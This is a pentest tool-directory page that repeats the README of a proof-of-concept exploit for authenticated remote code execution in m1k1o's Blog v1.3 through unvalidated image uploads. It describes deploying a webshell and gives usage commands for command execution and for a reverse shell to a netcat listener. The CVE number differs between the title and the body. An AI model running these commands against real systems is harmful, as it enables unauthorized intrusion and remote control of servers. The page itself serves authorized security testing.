Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2022-23636-poc — Authenticated remote code execution exploit for m1k1o's Blog v1.3 via unvalidated file upload, with webshell deployment and reverse shell capabilities. | Kitploit
Tools/GitHubGitHub/cyhe50/cve-2022-23636-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubcyhe50/cve-2022-23636-poc

cve-2022-23636-poc

Authenticated remote code execution exploit for m1k1o's Blog v1.3 via unvalidated file upload, with webshell deployment and reverse shell capabilities.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-23626 - m1k1o's Blog Authenticated RCE

Authenticated Remote Code Execution via file upload vulnerability in m1k1o's Blog v1.3 and below.

Description

The ajax.php?action=upload_image endpoint does not properly validate uploaded file types, allowing an authenticated user to upload a PHP webshell disguised as an image. The attacker can then trigger execution by requesting the uploaded file directly.

References

  • EDB-50943
  • CVE-2022-23626
  • m1k1o/blog GitHub

Affected Version

  • m1k1o's Blog v1.3 and below

Requirements

  • Python 3
  • requests library
root@kitploit:~
pip install requests

Usage

Execute a command

root@kitploit:~
python3 cve-2022-23626.py --url http://target:8081 -u admin -p admin -c "id"

Reverse shell

Start a listener first:

root@kitploit:~
nc -lnvp 4444

Then run:

root@kitploit:~
python3 cve-2022-23626.py --url http://target:8081 -u admin -p admin -lh 10.10.14.2 -lp 4444

Disclaimer

This tool is intended for authorized security testing and educational purposes only. Use it only on systems you have explicit permission to test.

Download Tool